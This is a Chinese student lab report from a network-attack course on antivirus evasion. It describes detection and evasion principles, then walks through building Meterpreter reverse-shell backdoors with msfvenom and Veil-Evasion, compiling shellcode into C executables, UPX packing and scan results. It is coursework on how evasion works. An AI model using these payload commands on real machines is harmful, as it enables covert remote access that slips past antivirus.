网络对抗技术 2017-2018-2 20152515 Exp3 免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
答:分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码.
(2)免杀是做什么?
答:一般是对恶意软件做处理,让它不被杀毒软件所检测,也是渗透测试中需要使用到的技术。通常是要掩盖恶意代码的特征。
(3)免杀的基本方法有哪些?
答:
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
有源代码
- 用其他语言进行重写再编译(veil-evasion)
改变行为
通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
实验内容
实验环境
靶机:
系统:Windows7
杀软:金山毒霸 11.9.0
攻击机:
Kali 虚拟机
检测网站:
Viruscan
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
使用msf编码器生成后门程序的Virscan检测结果
生成jar文件
用指令msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.109 lport=5213 x> 5213_backjar.jar
生成
Virscan检测结果:
使用veil-evasion生成
首先你需要用 sudo apt-get install
安装veil-evasion。
然后veil
命令进入。参考的是这里面的教程最新的Veil3.0的安装和使用 ,这个教程是杜可欣同学找的,我觉得挺好用的。
进入之后生成payload命令如下所示:
# list
# 1
# use 1
# list
# use 7
接着是设置LHOST和LPORT
[] set LHOST 192.168.199.149
[] set LPORT 5215
[] generate
需要设置你想生成的文件名:
文件生成成功:
msf模块地址
/usr/share/veil-output/handlers/payload15.rc
Virscan检测结果如下:
我传到电脑上,我的win7金山毒霸也没有任何提醒和拦截,有点想换软件了_(:3 」∠)_ 。
- 用shellcode
先生成一个c语言格式的Shellcode数组
创建一个C文件:MSSC_5215.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并写成C语言代码。
将C程序在codeblocks上编译得到.exe文件,在Virscan检测结果如下:
被7个软件查杀,比之前的9个好。
回连成功:
在win7电脑上显示未查杀到:
将程序在VS上编译得到.exe文件,在Virscan检测结果如下:
这个报毒最少,只有五个。
- 加壳
使用i686-w64-mingw32-g++ MSSC.c -o MSSC_5215.exe
命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5215.exe
然后使用upx #需要加壳的文件名 -o #加壳后的文件名
对其进行加壳
在Virscan检测结果如下:
(本来我以为可以多加几个壳然后提高免杀率,像前面的一样进行多次编码,然后提示不行,加壳好像只能做一次)
2. 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
我的win7+金山毒霸构成了一个毫无威胁性的防御体系,早在前面中的过程就已经实现了免杀,但是我还是用veil得到的.exe文件又加了一个壳检测了一下, 也是显示扫描不到。
在Virscan检测结果如下:
显示是有8个报毒,其实效果一般,还不如那个用VS编译的。
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
实践总结与体会
这次的实验让我深刻地认识到金山毒霸不太好用,尤其是再配上win7这个老系统,感觉毫无任何安全系数可言,时刻暴露在危险之下。然后看了几个查杀的结果,我发现江民杀毒还挺不错,360还是可以的,所以我打算换个杀软。然后就是感觉这次的实验技术性更强,有一些原理上的内容,是需要理解和学习的。而且这门课的实践很适合让我回去在爸妈面前展示,嘻嘻。
网络对抗技术 2017-2018-2 20152515 Exp3 免杀原理与实践的更多相关文章
- 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践
2017-2018-2 20155228 <网络对抗技术> 实验三:MAL_免杀原理与实践 实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasi ...
- 20155325 Exp3 免杀原理与实践
基础问题回答 杀软是如何检测出恶意代码的? 1.1 基于特征码的检测 1.1.1 特征库举例-Snort 1.2 启发式恶意软件检测 1.3 基于行为的恶意软件检测 免杀是做什么? 一般是对恶意软件做 ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
随机推荐
- ActiveReports 报表控件V12新特性 -- 可定制的安装设置
ActiveReports是一款专注于 .NET 平台的报表控件,全面满足 HTML5 / WinForms / ASP.NET / ASP.NET MVC / WPF 等平台下报表设计和开发工作需求 ...
- 排错-windows下 ORA-12560 TNS 协议适配器错误解决方法
排错-windows下_ORA-12560 TNS 协议适配器错误解决方法 by:授客 QQ:1033553122 问题描述: 修改SQL*Plus窗口属性后,重新打开SQL*Plus时出现ORA-1 ...
- ubuntu下编译qt5
编译步骤参考: http://doc.qt.io/qt-5/linux.html 我们使用源代码和编译目录分离的编译方式, 这样避免编译主机系统和目标系统间的独立. 参考: Qt Configure ...
- xp_readerrorlog与sp_readerrorlog
SQL SERVER 可以使用xp_readerrorlog 或者sp_readerrorlog来查看错误日志. xp_readerrorlog 一共有七个参数: 1. 存档编号 2. 日志类型(1为 ...
- cron定时任务介绍
什么是cron? Cron是linux系统中用来定期执行或指定程序任务的一种服务或软件.与它相关的有两个工具:crond 和 crontab.crond 就是 cron 在系统内的宿主程序,cront ...
- sysdate()简单用法
环境: create table rq (xm varchar2(10),age number,zw varchar(10),rzrq date);insert into rq values ('小崔 ...
- python基础学习21----进程
python中的多线程其实并不是真正的多线程,如果想要充分地使用多核CPU的资源,在python中大部分情况需要使用多进程. 进程与线程的使用有很多相似之处,有关线程方面的知识请参考https://w ...
- 第 14 章 结构和其他数据形式(enum枚举)
/*----------------------------- enum.c -- 使用枚举类型的值 -----------------------------*/ #include <stdi ...
- 如何删除sharepoint列表List中的全部数据。
可以使用excel,但是powershell会比较方便 (admin mode - Sharepoint powershell) [System.reflection.Assembly]::LoadW ...
- 2.js深入(以通俗易懂的语言解释JavaScript)
1.函数返回值: 即函数的执行结果 可以没有return 经验:一个函数应该只返回一种类型的值 2.函数传参 可变参(不定参):arguments ——>(参数的个数可变,参数数组) 例子1:求 ...